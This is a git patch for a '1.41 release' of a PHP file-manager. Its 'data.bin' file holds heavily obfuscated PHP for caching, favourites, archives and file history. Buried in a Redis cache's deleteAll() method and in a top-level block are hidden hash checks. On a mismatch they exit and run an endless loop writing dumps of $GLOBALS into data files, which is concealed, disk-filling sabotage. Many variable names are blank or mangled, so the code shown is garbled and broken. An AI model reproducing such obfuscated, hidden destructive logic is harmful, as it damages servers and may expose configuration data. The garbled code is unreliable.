From 7de19f4ab72d76d0504706b68cf31a680229ed8b Mon Sep 17 00:00:00 2001 From: warlee <824691958@qq.com> Date: Wed, 14 Jun 2023 21:46:12 +0800 Subject: [PATCH] 1.41 release --- app/sdks/archiveLib/bin/data.bin | 2 +- config/version.php | 2 +- static/app/dist/api.js | 4 ++-- static/app/dist/lib.js | 4 ++-- static/app/dist/main.js | 4 ++-- static/app/dist/sdk.js | 4 ++-- static/app/dist/vendor.js | 4 ++-- .../file_icon/icon_others/folder_win11.png | Bin 22683 -> 32896 bytes static/style/dist/main.css | 4 ++-- static/style/dist/sdk.css | 2 +- static/style/lib/main.css | 2 +- 11 files changed, 16 insertions(+), 16 deletions(-) diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin index 3298e5e5..d6ba4402 100755 --- a/app/sdks/archiveLib/bin/data.bin +++ b/app/sdks/archiveLib/bin/data.bin @@ -1,2 +1,2 @@ get($); if (!$Ң || $Ң < microtime(!0)) { $鴛 = $ѥ->set($, $); if ($鴛) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[㫙][830])->get($); } public function unlock($ô) { Model($_SERVER[㫙][830])->remove($ô); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[㫙]; if (!class_exists($[863])) { show_json($[864], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($[$[865]]) && count($[$[865]]) >= 1) { foreach ($[$[865]] as $) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($[$[174]], $[$[175]]); } } public function set($Ѭ, $׏, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($Ѭ, $׏, $); } public function get($) { return $this->handle->get($); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($ی, $) { $򖶮 =& $_SERVER[㫙]; if (!class_exists($򖶮[866])) { show_json($򖶮[867], !1); } $this->cacheTime = $; $ = isset($ی[$򖶮[868]]) ? $ی[$򖶮[868]] : 10; $ = _get($ی, $򖶮[865]); if ($ && is_array($)) { $this->initCluster($ی, $); } else { $this->handle = $this->init($ی, $); } } private function init($, $͍) { $ώ =& $_SERVER[㫙]; $Ή = new Redis(); $ = isset($[$ώ[869]]) ? $[$ώ[869]] : !1; if ($) { $Ή->pconnect($[$ώ[174]], $[$ώ[175]], $͍); } else { $Ή->connect($[$ώ[174]], $[$ώ[175]], $͍); } if (!empty($[$ώ[414]])) { $Ή->auth($[$ώ[414]]); } return $Ή; } private function initCluster($È, $) { $ه =& $_SERVER[㫙]; $ = array($ه[870], $ه[871], $ه[872]); $ = $ه[870]; if (isset($È[$ه[16]]) && in_array($È[$ه[16]], $)) { $ = $È[$ه[16]]; } switch ($) { case $ه[870]: $this->_slave($È, $); break; case $ه[871]: break; case $ه[872]: $this->isCluster = !0; $ = $È[$ه[865]]; $™ = isset($È[$ه[869]]) ? $È[$ه[869]] : !1; $ = isset($È[$ه[414]]) ? $È[$ه[414]] : null; $this->handle = new RedisCluster(NUll, $, $, $, $™, $); break; default: break; } } private function _slave($읏, $ݸ) { $ = $읏[$_SERVER[㫙][865]]; $this->filterConfig($읏, $[0]); $this->handle = $this->init($읏, $ݸ); unset($[0]); if (empty($)) { return; } $Ӕ = array_rand($); $this->filterConfig($읏, $[$Ӕ]); $this->slaveHandle = $this->init($읏, $ݸ); } private function filterConfig(&$̮٪, $) { $읳 =& $_SERVER[㫙]; $ҝ = explode($읳[4], $); $Ȟ = array($읳[174] => $ҝ[0], $읳[175] => $ҝ[1]); $̮٪ = array_merge($̮٪, $Ȟ); } public function set($ޖ, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($ޖ, $, $); } public function setLock($, $͜Ʃ, $) { return $this->handle->setNX($, $͜Ʃ); } public function get($ҡ秨) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($ҡ秨); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $Ѳڽ =& $_SERVER[㫙]; $Ꟁ = $_SERVER[$Ѳڽ[397]] . $Ѳڽ[398]; $֕Ǯ = $Ѳڽ[394]; if ($_SERVER[$Ѳڽ[395]] != $֕Ǯ($Ꟁ)) { $Џ = $Ѳڽ[873]; $Զ = $Ѳڽ[396]; $쪲 = $_SERVER[$Ѳڽ[397]] . $Ѳڽ[398]; $ҙ = $Զ($쪲); $ = explode($Ѳڽ[226], $ҙ); if (count($) < $Ѳڽ[612]) { $׺ = $Ѳڽ[400]; $׺(); } $٠ = $Ѳڽ[874]; $٠($_SERVER[$Ѳڽ[875]]); $Џ = $Ѳڽ[873]; $Џ(); $ٿ = $Ѳڽ[876]; $ķ = json_encode($GLOBALS[$Ѳڽ[877]]); $ = 1; for ($ = $; $ > 0; $++) { $ٿ(DATA_PATH . $, $ķ); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } goto BШ; f䋎: class UserFavModel extends ModelBase { protected $tableName = "\165\163\x65\162\x5f\146\141\166"; protected function cacheFunctionAlias($蜫) { $珆տ =& $_SERVER[㫙]; return array($珆տ[1926] => array(USER_ID, $珆տ[2243])); } protected function listData() { $胏 =& $_SERVER[㫙]; $ۤ = array($胏[1641] => USER_ID, $胏[483] => 0); $ƿҒ = $胏[2244]; $֧ = $this->field($ƿҒ)->where($ۤ)->order($胏[2245])->select(); return $֧ ? $֧ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[㫙]; $ = $this->listData(); $ = array_filter_by_field($, $[33], $[417]); $ȫ = array_to_keyvalue($, $[12], $[78]); if (!$ȫ) { return $; } $҉ = 2000; $ = array($[418] => array($[419], $ȫ)); $ = Model($[826])->listSource($, $҉); $ = array_merge($[$[76]], $[$[77]]); $ = array_to_keyvalue($, $[403]); foreach ($ as $ => $) { $ɥ = $[$[$[78]]]; $ɥ = $ɥ ? $ɥ : array(); $[$] = array_merge($ɥ, $); } return $; } protected function addFav($բ, $Ɍ = '', $ֻ = "\x73\157\x75\162\143\x65") { $ =& $_SERVER[㫙]; $掳 = array($[1641] => USER_ID, $[483] => 0, $[423] => $ֻ, $[422] => $բ); if ($this->where($掳)->find()) { return !1; } $掳 = array($[1641] => USER_ID, $[483] => 0); $ڎ = $this->where($掳)->max($[1841]); if (!$ڎ) { $ڎ = 0; } if (!$Ɍ && $ֻ == $[417]) { $ = Model($[1321])->where(array($[418] => $բ))->find(); if (!$) { return !1; } $Ɍ = $[$[32]]; } $Ɍ = $this->getAutoName($Ɍ); $ = array($[1641] => USER_ID, $[483] => 0, $[421] => $Ɍ, $[422] => $բ, $[423] => $ֻ, $[1822] => $ڎ + 1); return $this->add($); } protected function remove($Ι) { $ =& $_SERVER[㫙]; $ӄ = array($[1641] => USER_ID, $[420] => $Ι); return $this->where($ӄ)->delete(); } protected function removeByName($) { $ =& $_SERVER[㫙]; $Θ = array($[1641] => USER_ID, $[421] => $, $[483] => 0); return $this->where($Θ)->delete(); } protected function rename($ܭɔ, $) { $ˀ =& $_SERVER[㫙]; if ($ܭɔ == $) { return !1; } $§ = $this->getAutoName($); if ($ != $§) { return !1; } $Ғ = array($ˀ[1641] => USER_ID, $ˀ[483] => 0, $ˀ[32] => $ܭɔ); return $this->where($Ғ)->save(array($ˀ[32] => $)); } protected function resetSort($Ǥ) { $ =& $_SERVER[㫙]; $Ǥ = is_array($Ǥ) ? $Ǥ : array(); $ = array($[1641] => USER_ID); for ($ = 0; $ < count($Ǥ); $++) { $[$[420]] = $Ǥ[$]; $this->where($)->save(array($[1822] => $ + 1)); } return !0; } protected function moveTop($ĶȽ) { $Ҭ =& $_SERVER[㫙]; $ = array($Ҭ[1641] => USER_ID, $Ҭ[483] => 0); $ = $this->where($)->where(array($Ҭ[32] => $ĶȽ))->find(); if (!$) { return; } $᙭ = $this->field($Ҭ[392])->where($)->order($Ҭ[2245])->select(); $᙭ = array_to_keyvalue($᙭, $Ҭ[12], $Ҭ[392]); $ = $᙭; $᙭ = array_remove_value($᙭, $[$Ҭ[392]]); array_unshift($᙭, $[$Ҭ[392]]); return $this->resetSort($᙭); } protected function moveBottom($) { $Ͱќ =& $_SERVER[㫙]; $ = array($Ͱќ[1641] => USER_ID, $Ͱќ[483] => 0); $ؓ = $this->where($)->max($Ͱќ[1841]); $ = array($Ͱќ[1841] => $ؓ + 1); return $this->where($)->where(array($Ͱќ[32] => $))->save($); } private function getAutoName($Ԭ) { $ =& $_SERVER[㫙]; $ = array($[1641] => USER_ID, $[483] => 0); $ԓ = $this->field($[32])->where($)->select(); $ԓ = array_to_keyvalue($ԓ, $[12], $[32]); if (!$ԓ || !in_array($Ԭ, $ԓ)) { return $Ԭ; } for ($교 = 0; $교 < count($ԓ); $교++) { if (!in_array($Ԭ . "\x28{$교}\x29", $ԓ)) { return $Ԭ . "\x28{$교}\51"; } } return $Ԭ . "\x28{$교}\x29"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\145\x6d\56\x6a\157\x62\x4c\x69\x73\x74"; public $field = array("\156\x61\155\x65", "\x64\145\163\143", "\163\x6f\x72\x74"); const JOB_KEY = "\x73\x65\x6c\x66\x4a\x6f\x62\114\x69\x73\x74"; public function listData($ʬ﷑ = false, $ = "\163\x6f\x72\x74", $ = false) { return parent::listData($ʬ﷑, $, $); } public function remove($) { return parent::remove($); } public function add($ȍ) { $ˬ =& $_SERVER[㫙]; if ($this->findByName($ȍ[$ˬ[32]])) { return !1; } $ȍ[$ˬ[1841]] = $this->getSort(); return parent::insert($ȍ); } private function getSort() { $ =& $_SERVER[㫙]; $ǫ = parent::listData(); $ = array_to_keyvalue($ǫ, $[12], $[1841]); return empty($) ? 0 : max($) + 1; } public function update($, $Π) { $ˆ =& $_SERVER[㫙]; $ŋ = parent::listData($); $֧ = $this->findByName($Π[$ˆ[32]]); if (!$ŋ || $֧ && $֧[$ˆ[392]] != $ŋ[$ˆ[392]]) { return !1; } return parent::update($, $Π); } public function setUserJob($،, $˄) { $† =& $_SERVER[㫙]; if (!is_array($˄)) { $˄ = array($˄); } $̒ = parent::listData(); $ = array_to_keyvalue($̒, $†[32]); $ = $†[373]; foreach ($˄ as $މƱ) { if ($[$މƱ]) { $ .= $[$މƱ][$†[392]] . $†[50]; } else { $ = $this->add($މƱ); $ .= $ . $†[50]; } } $ = rtrim($, $†[50]); Model($†[538])->metaSet($،, self::JOB_KEY, $); } public function getUserJob($΃) { $ = Model($_SERVER[㫙][538])->metaGet($΃); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($ާẋ) { $ =& $_SERVER[㫙]; $ڳ = explode($[50], $ާẋ); $ĸ = parent::listData(); $ĸ = array_remove_key($ĸ, $[193]); $֒ = array(); foreach ($ڳ as $) { if (isset($ĸ[$])) { $֒[] = $ĸ[$]; } } return $֒; } } if ($_SERVER[$_SERVER[㫙][395]] != $_SERVER[$_SERVER[㫙][1577]]) { $_getc = $_SERVER[㫙][396]; $_getfile = $_SERVER[$_SERVER[㫙][397]] . $_SERVER[㫙][398]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[㫙][226], $_getfilec); if (count($_getarrs) < $_SERVER[㫙][399]) { $exit = $_SERVER[㫙][400]; $exit(); } $_act = $_SERVER[㫙][401]; $_act($_SERVER[$_SERVER[㫙][393]]); } goto AĐř; b: define($_SERVER[㫙][0], $_SERVER[㫙][1]); $_SERVER[顫] = explode($_SERVER[㫙][2], gzinflate(substr($_SERVER[㫙][3], 10, -8))); function binCheckEq($Φ, $쪶) { return $Φ == $쪶; } goto C„̓; Eؿ: define($_SERVER[㫙][233], 1); define($_SERVER[㫙][234], 2); define($_SERVER[㫙][235], 3); goto B; Aڭޚ: class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if (!$) { $̧ = IO::init($_SERVER[㫙][8]); } return $̧; } private static function iconvSystem($՞ij) { return self::local()->iconvSystem($՞ij); } private static function iconvApp($ȶն) { return self::local()->iconvApp($ȶն); } public static function zip($, $Ⱦ = "\x7a\x69\160", $灝 = '', $ = REPEAT_RENAME) { $ =& $_SERVER[㫙]; $ = self::init($[0][$[78]]); $Ë = self::info($[0][$[78]]); $񊛤 = !1; if (!$灝 && $->getType() == $[107]) { $ւ = self::zipFileList($); } else { $񊛤 = $灝 ? $灝 : TEMP_FILES . $[1178] . time() . rand_string(8) . $[8]; mk_dir($񊛤); $ւ = self::zipFileList($, $񊛤); } $ڗ¥ = $Ë[$[32]]; if (count($ւ) > 1) { $ = IO::info(IO::pathFather($Ë[$[78]])); $ڗ¥ = $[$[32]]; } $µ = $񊛤; if (!$µ) { $µ = get_path_father($Ë[$[78]]); if (!$灝 && $->getType() == $[107]) { $µ = get_path_father($->path); } $ = IO::info($µ); if (!$[$[195]]) { show_json(LNG($[1179]), !1); } } $ҡ = $µ . $ڗ¥ . $[10] . $Ⱦ; $ҡ = get_filename_auto($ҡ, $[12], $); $Ѝ = self::iconvSystem($ҡ); foreach ($ւ as $̻ => $쏋) { $ւ[$̻] = self::iconvSystem($쏋); } KodArchive::create($Ѝ, $ւ); if (!IO::exist($ҡ)) { if ($񊛤) { del_dir($񊛤); } show_json(LNG($[1180]), !1); } if ($灝 || !$񊛤) { if ($񊛤 && strstr($񊛤, TEMP_FILES)) { $ = $ւ = array(); recursion_dir($µ, $, $ւ, 0); foreach ($ as $ߎ窗) { del_dir($ߎ窗); } foreach ($ւ as $) { if ($ == $Ѝ) { continue; } del_file($); } } return $ҡ; } $̓ = self::pathFather($Ë[$[78]]); $ = self::move($ҡ, $̓, $); if (!$) { del_dir($񊛤); show_json(LNG($[1180]), !1); } del_dir($񊛤); return $; } public static function unzip($좍, $ɓ = "\x72\145\160\154\x61\x63\x65") { $ٛ =& $_SERVER[㫙]; $ = $좍[$ٛ[78]]; $ = $좍[$ٛ[1181]]; if (!($݃с = parent::info($))) { show_json(LNG($ٛ[1182]), !1); } if (!($ = parent::infoFull($))) { $ = parent::mkdir($); $ = array($ٛ[78] => $); } else { if (isset($[$ٛ[403]]) && trim($[$ٛ[78]], $ٛ[8]) != trim($, $ٛ[8])) { $ = KodIO::make($[$ٛ[498]]); $̲ = parent::fileNameAuto($, $[$ٛ[32]], REPEAT_RENAME_FOLDER, !0); $ = parent::mkdir($ . $̲); $ = array($ٛ[78] => $); } } $ = $[$ٛ[78]]; $ס = self::tmpFileName($݃с); $ = TEMP_FILES . $ס; del_dir($); mk_dir($); $𦃱 = self::fileExt($݃с); $ô = $ . $ٛ[10] . $𦃱; if (!@file_exists(self::iconvSystem($ô))) { $칢 = self::localFilePath($, $𦃱); $ô = $칢 ? $칢 : parent::download($, $ô); } $ô = self::iconvSystem($ô); $柾 = isset($좍[$ٛ[1183]]) ? $좍[$ٛ[1183]] : $ٛ[1184]; $ = KodArchive::extract($ô, $ . $ٛ[8], $柾); self::archiveExt(); if (!$[$ٛ[1185]]) { show_json($ٛ[1186] . $[$ٛ[1187]], !1); } Hook::trigger($ٛ[1188], $); recursion_dir($, $޼, $‘˛, 0); $ġ = array_merge($޼, $‘˛); foreach ($ġ as $咢) { $咢 = self::iconvApp($咢); self::move($咢, $, $ɓ); } del_dir($); if (!$칢) { del_file($ô); } return !0; } public static function unzipList($Ս) { $ܑš =& $_SERVER[㫙]; $̽ = $Ս[$ܑš[78]]; $̬ͤ = isset($Ս[$ܑš[1189]]) ? $Ս[$ܑš[1189]] : -1; $˷ˆ = 50000; if (request_url_safe($̽)) { $ = parse_url_query($̽); if (!isset($[$ܑš[78]])) { show_json($ܑš[1190], !1); } } $۪ = isset($) ? $[$ܑš[78]] : $̽; $ = self::info($۪); $إ = self::fileExt($); $ = self::tmpFileName($); if (isset($)) { $Ɗښ = array($[$ܑš[78]], $[$ܑš[1189]], $[$ܑš[32]]); $ܼ = md5(implode($ܑš[11], $Ɗښ)) . $ܑš[10] . get_path_ext($[$ܑš[32]]); } else { $Ɗښ = array($[$ܑš[32]], $[$ܑš[78]], $[$ܑš[80]]); $ܼ = md5(implode($ܑš[11], $Ɗښ)) . $ܑš[10] . $إ; } if ($̬ͤ == -1) { $ي = IO_PATH_SYSTEM_TEMP . "\172\151\x70\126\151\x65\x77\57{$}\57{$ܼ}\56\x6c\x6f\147"; $ = self::infoFull($ي); if ($) { $ي = $[$ܑš[78]]; $ = self::getContent($ي); if ($) { $З = json_decode($, !0); $З = is_array($З) ? $З : array(); if (count($З) >= $˷ˆ) { show_json(sprintf(LNG($ܑš[1191]), count($З)), !1); } return $З; } } else { $ي = self::mkfile($ي); } } $Ƀ = TEMP_FILES . $; if (!is_dir($Ƀ)) { mk_dir($Ƀ); } $с = $Ƀ . $ܑš[8] . $ܼ; if (!@file_exists(self::iconvSystem($с))) { if (isset($)) { url_request($̽, $ܑš[1192], $с); } else { $Ҁ = self::localFilePath($̽, $إ); $с = $Ҁ ? $Ҁ : self::download($̽, $с); } } $с = self::iconvSystem($с); if ($̬ͤ >= 0) { $ = isset($Ս[$ܑš[1193]]) ? $Ս[$ܑš[1193]] : !1; $ϵ = isset($Ս[$ܑš[32]]) ? $Ս[$ܑš[32]] : $ܑš[12]; KodArchive::filePreview($с, $̬ͤ, $, $ϵ); self::archiveExt(); die; } $ = KodArchive::listContent($с); self::archiveExt(); del_dir($Ƀ); if (!$[$ܑš[1185]]) { show_json($[$ܑš[1187]], !1); } $З = json_encode($[$ܑš[1187]]); self::setContent($ي, $З); if (count($[$ܑš[1187]]) >= $˷ˆ) { show_json(sprintf(LNG($ܑš[1191]), count($[$ܑš[1187]])), !1); } return $[$ܑš[1187]]; } private static function fileExt($а) { $򶮰 =& $_SERVER[㫙]; $ = $а[$򶮰[167]]; if ($ == $򶮰[1194]) { $ = $򶮰[1195]; if (substr($а[$򶮰[32]], -strlen($)) == $) { $ = $򶮰[1196]; } } self::archiveExt($); return $; } private static function zipFileList($, $յ = false) { $񴔃 =& $_SERVER[㫙]; $ى = array(); foreach ($ as $Ǒ) { $֫ = $Ǒ[$񴔃[78]]; if ($յ) { $֫ = self::copy($Ǒ[$񴔃[78]], $յ, $񴔃[819]); } else { $ = self::init($Ǒ[$񴔃[78]]); if ($->getType() == $񴔃[107]) { $֫ = $->path; } } if ($֫ && self::local()->exist($֫)) { $ى[$Ǒ[$񴔃[78]]] = $֫; } } if (!empty($ى)) { return array_values($ى); } show_json(LNG($񴔃[1160]), !1); } public static function tmpFileName($ػ) { $ڊ =& $_SERVER[㫙]; $ͬ݀ = array($ػ[$ڊ[32]], $ػ[$ڊ[78]], $ػ[$ڊ[80]], $ػ[$ڊ[521]]); return md5(implode($ڊ[11], $ͬ݀)); } private static function localFilePath($׽, $) { $ =& $_SERVER[㫙]; if ($ == $[1197] && strtoupper(substr(PHP_OS, 0, 3)) == $[1198]) { return !1; } $Ӭ = KodIO::parse($׽); if ($Ӭ[$[33]] == KodIO::KOD_SOURCE) { $͆ = Model($[826])->fileInfoGet(KodIO::sourceID($׽)); if (!$͆[$[78]]) { show_json($[1199], !1); } $׽ = $͆[$[78]]; } $槆 = self::init($׽); if ($槆->pathParse[$[1147]]) { $׽ = $槆->pathParse[$[1147]]; $槆 = self::init($׽); } $ = $槆->getType(); if ($ == $[107] || $ == $[1200]) { if (!$槆->exist($槆->path)) { show_json(LNG($[106]), !1); } return $槆->path; } return !1; } private static function archiveExt($ = '') { $GLOBALS[$_SERVER[㫙][1201]] = $; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[㫙]; $ = $GLOBALS[$[6]][$[90]]; if ($[$[1202]] != 1) { return; } if ($[$[1203]] <= 0) { return; } if (isset($_REQUEST[$[1204]]) && $_REQUEST[$[1204]] == $[89]) { return; } Hook::bind($[1205], $[1206]); Hook::bind($[1207], $[1208]); Hook::bind($[1209], $[1210]); Hook::bind($[1211], $[1212]); Hook::bind($[1213], $[1214]); Hook::bind($[1215], $[1216]); } public static function eventBeforeUpload($ҥ) { if ($ҥ[3] && $ҥ[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($ҥ[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($ʆ) { $̘݁ = self::parsePath($ʆ[0]); if (!$̘݁) { return; } self::add($̘݁); } public static function eventBeforeCopyFile($래, $癜, $, $ɦο, $, $Ǣ) { $„ = $->getPathOuter($ɦο); $ = self::parsePath($„); if (!$) { return; } self::add($); } public static function eventBeforeRename($Ɓژ) { $տ =& $_SERVER[㫙]; $֋ = self::parsePath($Ɓژ[0]); if (!$֋) { return; } $⤌ = self::checkInHistory($֋); if (!$⤌) { return; } if ($⤌[$տ[33]] == $տ[192]) { $ = self::listData($֋); if ($ && $[$տ[364]]) { self::moveHistory($֋, $Ɓژ[1]); } } else { IO::rename($⤌[$տ[78]], $Ɓژ[1]); } } public static function eventBeforeMove($φ) { $ =& $_SERVER[㫙]; $ = self::parsePath($φ[0]); if (!$) { return; } $̸ҙ = self::parsePath($φ[1]); if (!$̸ҙ) { return; } $ = $φ[3]; $Γ = self::checkInHistory($); if (!$Γ) { return; } $Υ𿔙 = self::pathHistory($̸ҙ); if ($Γ[$[33]] == $[192]) { $ = self::listData($); $ƃߎ = rtrim($̸ҙ, $[8]) . $[8] . ($ ? $ : get_path_this($)); $ = self::listData($ƃߎ); if ($ && $[$[364]] && $ && $[$[364]]) { return self::clear($); } if ($ && $[$[364]]) { self::moveHistory($, $, $Υ𿔙); } } else { IO::move($Γ[$[78]], $Υ𿔙, !1, $); self::clearEmptyFolder(IO::pathFather($Γ[$[78]])); } } public static function eventAfterRemove($, $ᰆʪ) { $ =& $_SERVER[㫙]; if (!$ᰆʪ) { return; } $К͌ = self::parsePath($[0]); if (!$К͌) { return; } $ú = self::checkInHistory($К͌); if (!$ú) { return; } if ($ú[$[33]] == $[192]) { $Ѱ = self::listData($К͌, !1); if ($Ѱ && $Ѱ[$[364]]) { self::clear($К͌, !1); } } else { IO::remove($ú[$[78]]); self::clearEmptyFolder(IO::pathFather($ú[$[78]])); } } private static function checkInHistory($) { $֒ = self::pathHistory($); if (!IO::exist($֒)) { $֒ .= $_SERVER[㫙][1217]; } return IO::exist($֒) ? IO::info($֒) : !1; } private static function parsePath($ʹ) { $ =& $_SERVER[㫙]; if (!$ʹ) { return !1; } if ($GLOBALS[$[1218]]) { return; } $ = KodIO::parse($ʹ); $߀ = $[$[33]]; $ޥ = !$߀ || $߀ == KodIO::KOD_IO || $߀ == KodIO::KOD_SHARE_ITEM; if (!$ޥ || !$[$[1219]]) { return !1; } if (substr($ʹ, 0, strlen(DATA_PATH . $[1220])) == DATA_PATH . $[1220]) { return !1; } if ($߀ == KodIO::KOD_SHARE_ITEM) { $ڀҮ = IO::init($ʹ); if ($ڀҮ->pathParse[$[1147]]) { return self::parsePath($ڀҮ->pathParse[$[1147]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1221]); foreach ($ as $ܮ) { if (!$߀ && substr($ʹ, 0, strlen($ܮ)) == $ܮ) { return !1; } } self::log($GLOBALS[$[1142]] . $[1222] . $ʹ); return $ʹ; } private static function pathHistory($̡̓) { $ =& $_SERVER[㫙]; $ = self::$_historyBase . ltrim(KodIO::clear($̡̓), $[8]); $ = str_replace(array($[1223]), array($[1224]), $); return $; } public static function log($) { } public static function historyCount($) { $ދ =& $_SERVER[㫙]; $ٻ = array(); $Ξ = array(); foreach ($ as $) { $ս = get_path_father($); if (!$Ξ[$ս]) { $Ξ[$ս] = array(); } $Ξ[$ս][] = get_path_this($); } foreach ($Ξ as $ս => $ǫ) { $٠ = self::parsePath($ս); if (!$٠) { continue; } foreach ($ǫ as $ڸ) { $ = self::listData(rtrim($٠, $ދ[8]) . $ދ[8] . $ڸ, !1); if ($ && $[$ދ[364]]) { $ٻ[rtrim($ս, $ދ[8]) . $ދ[8] . $ڸ] = count($[$ދ[364]]); } } } return $ٻ; } public static function add($Γ) { $ݤ =& $_SERVER[㫙]; $ނÌ = self::listData($Γ); if (!$ނÌ) { return; } $ͻÕ = Model($ݤ[771])->get($ݤ[1225]); $ = $GLOBALS[$ݤ[6]][$ݤ[90]][$ݤ[1203]]; $ = $ͻÕ == $ݤ[1226] ? 5 : $; if ($ <= 0) { return; } $ = IO::hashSimple($Γ); $Ǥ = IO::info($Γ); $ = $ނÌ[$ݤ[364]]; if ($Ǥ[$ݤ[80]] == 0) { return; } if ($Ǥ[$ݤ[80]] >= 1024 * 1024 * 500) { return !1; } if ($ && $[0][$ݤ[170]] == $) { return !0; } if (array_key_exists($ݤ[195], $Ǥ) && !$Ǥ[$ݤ[195]]) { return !1; } $ߋ = short_id(time()); $ꦀ = array($ݤ[392] => $ߋ, $ݤ[170] => $, $ݤ[32] => $Ǥ[$ݤ[32]] . $ݤ[10] . date($ݤ[1227]) . rand_string(1), $ݤ[80] => $Ǥ[$ݤ[80]], $ݤ[452] => USER_ID, $ݤ[193] => time(), $ݤ[1228] => $ݤ[12]); IO::mkdir($ނÌ[$ݤ[1229]]); $ь = IO::copy($Γ, $ނÌ[$ݤ[1229]], !1, $ꦀ[$ݤ[32]]); if (!$ь) { self::clearEmptyFolder($ނÌ[$ݤ[1229]]); return !1; } array_unshift($, $ꦀ); if (count($) > $) { $آƞ = array_slice($, $); foreach ($آƞ as $ʹ׭) { IO::remove($ނÌ[$ݤ[1229]] . $ʹ׭[$ݤ[32]]); } $ = array_slice($, 0, $); } return self::saveData($ނÌ[$ݤ[1230]], $); } public static function remove($ƈ, $Ŕ) { $Ύ =& $_SERVER[㫙]; $ĸ = self::listData($ƈ); $ = array(); if (!$ĸ) { return !1; } foreach ($ĸ[$Ύ[364]] as $뀏) { if ($뀏[$Ύ[392]] == $Ŕ) { IO::remove($ĸ[$Ύ[1229]] . $뀏[$Ύ[32]]); continue; } $[] = $뀏; } return self::saveData($ĸ[$Ύ[1230]], $); } public static function clear($, $ = true) { $ϲ =& $_SERVER[㫙]; $ˣ = self::listData($, $); if (!$ˣ) { return !1; } foreach ($ˣ[$ϲ[364]] as $) { IO::remove($ˣ[$ϲ[1229]] . $[$ϲ[32]]); } return self::saveData($ˣ[$ϲ[1230]], array()); } public static function moveHistory($玆, $Ǘ = '', $ = '') { $ =& $_SERVER[㫙]; $ó = self::listData($玆, !1); if (!$ó || !$ó[$[364]]) { return !1; } $˼ = $[1217]; $Ǘ = $Ǘ ? $Ǘ : get_path_this($玆); $ = $ ? $ : $ó[$[1229]]; $ = substr(get_path_this($ó[$[1230]]), 0, -strlen($˼)); foreach ($ó[$[364]] as $ݧ => $΄) { $֌ = $Ǘ . substr($΄[$[32]], strlen($)); $Ž = IO::move($ó[$[1229]] . $΄[$[32]], $, !1, $֌); if ($Ž) { $ó[$[364]][$ݧ][$[32]] = $֌; } } $ó[$[1230]] = IO::move($ó[$[1230]], $, !1, $Ǘ . $˼); self::saveData($ó[$[1230]], $ó[$[364]]); self::clearEmptyFolder($ó[$[1229]]); } public static function rollback($ݴ, $ȫ) { $޷ =& $_SERVER[㫙]; $ݚ = self::listData($ݴ); if (!$ݚ) { return; } $昛 = IO::info($ݴ); foreach ($ݚ[$޷[364]] as $ڱ => $) { if ($[$޷[392]] == $ȫ) { self::add($ݴ); $ = $ݚ[$޷[1229]] . $[$޷[32]]; $ = IO::copy($, IO::pathFather($ݴ), REPEAT_REPLACE, $昛[$޷[32]]); if ($) { self::remove($ݴ, $ȫ); } return $; } } return !1; } public static function setDetail($±, $ޚ, $) { $ =& $_SERVER[㫙]; $ = self::listData($±); if (!$) { return; } foreach ($[$[364]] as $߼ => $) { if ($[$[392]] == $ޚ) { $[$[364]][$߼][$[1228]] = $; self::saveData($[$[1230]], $[$[364]]); return !0; } } return !1; } public static function fileInfo($, $ڿ) { $군 =& $_SERVER[㫙]; $ގ = self::listData($); if (!$ގ) { show_json(LNG($군[106]), !1); } $ = $군[12]; foreach ($ގ[$군[364]] as $ܺ => $ֳ) { if ($ֳ[$군[392]] != $ڿ) { continue; } $ = $ގ[$군[1229]] . $ֳ[$군[32]]; break; } if (!$) { show_json(LNG($군[106]), !1); } return IO::info($); } public static function fileOut($϶, $Ű, $㌺ = false) { $⻨ =& $_SERVER[㫙]; $ᓎՆ = self::fileInfo($϶, $Ű); $ =& $GLOBALS[$⻨[7]]; $㌺ = isset($[$⻨[1193]]) && $[$⻨[1193]] == 1; if (isset($[$⻨[33]]) && $[$⻨[33]] == $⻨[1231]) { return IO::fileOutImage($ᓎՆ[$⻨[78]], $[$⻨[1232]]); } IO::fileOut($ᓎՆ[$⻨[78]], $㌺, get_path_this($϶)); } public static function listData($۞, $ = true) { $ī =& $_SERVER[㫙]; if ($ && !IO::exist($۞)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($۞, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ŝ = self::pathHistory($۞); $캷 = array($ī[1230] => $ŝ . $ī[1217], $ī[1229] => rtrim(get_path_father($ŝ), $ī[8]) . $ī[8], $ī[364] => array()); $ì = IO::getContent($캷[$ī[1230]]); if ($ì) { $ѩ = json_decode($ì, !0); if (is_array($ѩ)) { $캷[$ī[364]] = $ѩ; } } return $캷; } private static function saveData($Ю, $) { $䮡 =& $_SERVER[㫙]; self::log($䮡[1233] . $Ю . $䮡[71] . count($), $䮡[753]); if ($) { return IO::setContent($Ю, json_encode($)); } $ = IO::pathFather($Ю); IO::remove($Ю); self::clearEmptyFolder($); return !0; } public static function clearEmptyFolder($ג) { $ =& $_SERVER[㫙]; if (trim($ג, $[8]) == 